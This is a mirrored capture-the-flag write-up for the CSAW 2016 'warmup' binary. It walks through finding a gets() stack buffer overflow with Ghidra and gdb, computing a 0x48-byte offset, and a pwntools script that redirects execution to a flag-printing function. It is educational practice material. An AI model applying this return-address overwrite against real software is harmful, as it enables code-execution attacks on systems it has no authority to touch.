mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 04:16:59 +00:00
324 lines
15 KiB
Markdown
324 lines
15 KiB
Markdown
---
|
||
search:
|
||
exclude: true
|
||
---
|
||
# CSAW 2016 Warmup
|
||
|
||
## Downloading the binary file:
|
||
|
||
|
||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
|
||
--2021-02-27 11:02:37-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
|
||
Resolving github.com (github.com)... 140.82.121.4
|
||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||
HTTP request sent, awaiting response... 302 Found
|
||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup [following]
|
||
--2021-02-27 11:02:38-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup
|
||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.111.133, ...
|
||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 8705 (8.5K) [application/octet-stream]
|
||
Saving to: ‘warmup’
|
||
|
||
warmup 100%[=======================================================================================================================================================================================================>] 8.50K --.-KB/s in 0.001s
|
||
|
||
2021-02-27 11:02:38 (7.11 MB/s) - ‘warmup’ saved [8705/8705]
|
||
|
||
|
||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||
→ file warmup
|
||
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
|
||
|
||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||
→ chmod +x warmup
|
||
|
||
|
||
` ![]()
|
||
|
||
## Solution
|
||
|
||
first of all let's see what we get when we run the binary file:
|
||
|
||
|
||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||
→ ./warmup
|
||
-Warm Up-
|
||
WOW:0x40060d
|
||
>something
|
||
|
||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||
→ ./warmup
|
||
-Warm Up-
|
||
WOW:0x40060d
|
||
>something2
|
||
|
||
|
||
|
||
First there is some text getting displayed, we get an address '0x40060d', then we get prompted for text input and nothing after that. So let's check what the binary file looks like in ghidra:
|
||
|
||

|
||
|
||
|
||
void main(void)
|
||
|
||
{
|
||
char local_88 [64];
|
||
char local_48 [64];
|
||
|
||
write(1,"-Warm Up-\n",10);
|
||
write(1,&DAT;_0040074c,4);
|
||
sprintf(local_88,"%p\n",easy);
|
||
write(1,local_88,9);
|
||
write(1,&DAT;_00400755,1);
|
||
gets(local_48);
|
||
return;
|
||
}
|
||
|
||
|
||
|
||
Here we see the main function disassembled code, which is rather simplistic, we also see that our input text gets put into the local_48 variable at -0x48 on the stack:
|
||
|
||
|
||
**************************************************************
|
||
* FUNCTION *
|
||
**************************************************************
|
||
undefined main()
|
||
undefined AL:1
|
||
undefined1 Stack[-0x48]:1 local_48 XREF[1]: 00400692(*)
|
||
undefined1 Stack[-0x88]:1 local_88 XREF[2]: 0040064d(*),
|
||
00400668(*)
|
||
main XREF[5]: Entry Point(*),
|
||
_start:0040053d(*),
|
||
_start:0040053d(*), 0040077c,
|
||
00400830(*)
|
||
0040061d 55 PUSH RBP
|
||
|
||
|
||
|
||
However most importantly, we see that the address being printed is the address of the function called 'easy' at 0x40060d
|
||
|
||

|
||
|
||
this function is supposed to print the contents of flag.txt for us. Now before that, in the main function we see that our local_48 input text variable gets passed through a 'gets' function, this is a bug because it does not limit how much data it scans in. We also see the following:
|
||
|
||
|
||
|
||
void main(void)
|
||
|
||
{
|
||
char local_88 [64];
|
||
char local_48 [64];
|
||
|
||
|
||
|
||
our local input variable (local_48) can only hold 64 bytes of data, after we write those 64 bytes of data, we overflow the buffer and start overwriting other things in memory. With this bug we can reach the return address (the address after the ret call) and with this we want to make use of the 'easy function to print us the flag. so let's use gdb to see how much data we need to send BEFORE overwriting the return address:
|
||
|
||
|
||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||
→ gdb warmup
|
||
|
||
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
|
||
Copyright (C) 2021 Free Software Foundation, Inc.
|
||
License GPLv3+: GNU GPL version 3 or later
|
||
This is free software: you are free to change and redistribute it.
|
||
There is NO WARRANTY, to the extent permitted by law.
|
||
Type "show copying" and "show warranty" for details.
|
||
This GDB was configured as "x86_64-linux-gnu".
|
||
Type "show configuration" for configuration details.
|
||
For bug reporting instructions, please see:
|
||
.
|
||
Find the GDB manual and other documentation resources online at:
|
||
.
|
||
|
||
For help, type "help".
|
||
Type "apropos word" to search for commands related to "word"...
|
||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
|
||
Reading symbols from warmup...
|
||
(No debugging symbols found in warmup)
|
||
gef➤
|
||
gef➤ disas main
|
||
Dump of assembler code for function main:
|
||
0x000000000040061d <+0>: push rbp
|
||
0x000000000040061e <+1>: mov rbp,rsp
|
||
0x0000000000400621 <+4>: add rsp,0xffffffffffffff80
|
||
0x0000000000400625 <+8>: mov edx,0xa
|
||
0x000000000040062a <+13>: mov esi,0x400741
|
||
0x000000000040062f <+18>: mov edi,0x1
|
||
0x0000000000400634 <+23>: call 0x4004c0
|
||
0x0000000000400639 <+28>: mov edx,0x4
|
||
0x000000000040063e <+33>: mov esi,0x40074c
|
||
0x0000000000400643 <+38>: mov edi,0x1
|
||
0x0000000000400648 <+43>: call 0x4004c0
|
||
0x000000000040064d <+48>: lea rax,[rbp-0x80]
|
||
0x0000000000400651 <+52>: mov edx,0x40060d
|
||
0x0000000000400656 <+57>: mov esi,0x400751
|
||
0x000000000040065b <+62>: mov rdi,rax
|
||
0x000000000040065e <+65>: mov eax,0x0
|
||
0x0000000000400663 <+70>: call 0x400510
|
||
0x0000000000400668 <+75>: lea rax,[rbp-0x80]
|
||
0x000000000040066c <+79>: mov edx,0x9
|
||
0x0000000000400671 <+84>: mov rsi,rax
|
||
0x0000000000400674 <+87>: mov edi,0x1
|
||
0x0000000000400679 <+92>: call 0x4004c0
|
||
0x000000000040067e <+97>: mov edx,0x1
|
||
0x0000000000400683 <+102>: mov esi,0x400755
|
||
0x0000000000400688 <+107>: mov edi,0x1
|
||
0x000000000040068d <+112>: call 0x4004c0
|
||
0x0000000000400692 <+117>: lea rax,[rbp-0x40]
|
||
0x0000000000400696 <+121>: mov rdi,rax
|
||
0x0000000000400699 <+124>: mov eax,0x0
|
||
0x000000000040069e <+129>: call 0x400500
|
||
0x00000000004006a3 <+134>: leave
|
||
0x00000000004006a4 <+135>: ret
|
||
gef➤ b *main +134
|
||
Breakpoint 1 at 0x4006a3
|
||
|
||
|
||
here we want the first breakpoint right before the return call at +134, then we run the binary:
|
||
|
||
|
||
gef➤ r
|
||
Starting program: /home/nothing/binexp/2/warmup/warmup
|
||
-Warm Up-
|
||
WOW:0x40060d
|
||
>13371337
|
||
|
||
Breakpoint 1, 0x00000000004006a3 in main ()
|
||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||
$rax : 0x00007fffffffe0b0 → "13371337"
|
||
$rbx : 0x0
|
||
$rcx : 0x00007ffff7fac980 → 0x00000000fbad2288
|
||
$rdx : 0x0
|
||
$rsp : 0x00007fffffffe070 → "0x40060d\n"
|
||
$rbp : 0x00007fffffffe0f0 → 0x00000000004006b0 → <__libc_csu_init+0> push r15
|
||
$rsi : 0x31373333
|
||
$rdi : 0x00007ffff7faf680 → 0x0000000000000000
|
||
$rip : 0x00000000004006a3 → leave
|
||
$r8 : 0x00007fffffffe0b0 → "13371337"
|
||
$r9 : 0x0
|
||
$r10 : 0x6e
|
||
$r11 : 0x246
|
||
$r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp
|
||
$r13 : 0x0
|
||
$r14 : 0x0
|
||
$r15 : 0x0
|
||
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||
0x00007fffffffe070│+0x0000: "0x40060d\n" ← $rsp
|
||
0x00007fffffffe078│+0x0008: 0x000000000000000a
|
||
0x00007fffffffe080│+0x0010: 0x0000000000000000
|
||
0x00007fffffffe088│+0x0018: 0x0000000000000000
|
||
0x00007fffffffe090│+0x0020: 0x0000000000000000
|
||
0x00007fffffffe098│+0x0028: 0x0000000000000000
|
||
0x00007fffffffe0a0│+0x0030: 0x0000000000000000
|
||
0x00007fffffffe0a8│+0x0038: 0x00000000000000c2
|
||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||
0x400694 rex.RB ror BYTE PTR [r8-0x77], 0xc7
|
||
0x400699 mov eax, 0x0
|
||
0x40069e call 0x400500
|
||
→ 0x4006a3 leave
|
||
0x4006a4 ret
|
||
0x4006a5 nop WORD PTR cs:[rax+rax*1+0x0]
|
||
0x4006af nop
|
||
0x4006b0 <__libc_csu_init+0> push r15
|
||
0x4006b2 <__libc_csu_init+2> mov r15d, edi
|
||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||
[#0] Id 1, Name: "warmup", stopped 0x4006a3 in main (), reason: BREAKPOINT
|
||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||
[#0] 0x4006a3 → main()
|
||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||
gef➤
|
||
|
||
|
||
We gave it a simple pattern '13371337' so now we search for that pattern:
|
||
|
||
|
||
gef➤ search-pattern 13371337
|
||
[+] Searching '13371337' in memory
|
||
[+] In '[heap]'(0x602000-0x623000), permission=rw-
|
||
0x6022a0 - 0x6022aa → "13371337\n"
|
||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||
**0x7fffffffe0b0** - 0x7fffffffe0b8 → "13371337"
|
||
|
||
gef➤ i f
|
||
Stack level 0, frame at 0x7fffffffe100:
|
||
rip = 0x4006a3 in main; saved rip = 0x7ffff7e14d0a
|
||
Arglist at 0x7fffffffe0f0, args:
|
||
Locals at 0x7fffffffe0f0, Previous frame's sp is 0x7fffffffe100
|
||
Saved registers:
|
||
rbp at 0x7fffffffe0f0, rip at **0x7fffffffe0f8**
|
||
|
||
|
||
|
||
Now let's calculate the offset:
|
||
|
||
|
||
>>> hex(0x7fffffffe0f8 - 0x7fffffffe0b0)
|
||
'0x48'
|
||
|
||
|
||
So now we know that after 0x48 bytes of input, we start overwriting the return address, so we can write the following exploit:
|
||
|
||
|
||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||
→ vim exploit.py
|
||
|
||
|
||
|
||
|
||
from pwn import *
|
||
|
||
target = process('./warmup')
|
||
|
||
# Make the payload
|
||
payload = b""
|
||
payload += b"0"*0x48 # Overflow the buffer up to the return address
|
||
payload += p64(0x40060d) # Overwrite the return address with the address of the `easy` function
|
||
|
||
# Send the payload
|
||
target.sendline(payload)
|
||
|
||
target.interactive()
|
||
|
||
|
||
|
||
Then run it:
|
||
|
||
|
||
[ 192.168.100.126/24 ] [ /dev/pts/3 ] [binexp/2/warmup]
|
||
→ python3 exploit.py
|
||
[+] Starting local process './warmup': pid 78458
|
||
[*] Switching to interactive mode
|
||
-Warm Up-
|
||
WOW:0x40060d
|
||
>flag{g0ttem_b0yz}
|
||
[*] Got EOF while reading in interactive
|
||
$ exit
|
||
[*] Process './warmup' stopped with exit code -11 (SIGSEGV) (pid 78458)
|
||
[*] Got EOF while sending in interactive
|
||
|
||
|
||
and we got the flag !
|
||
|
||
## Title
|
||
|
||
text
|
||
|
||
|
||
|
||
|
||
` ![]()
|
||
|
||
## Title
|
||
|
||
text
|
||
|
||
|
||
|
||
|
||
` ![]()
|
||
|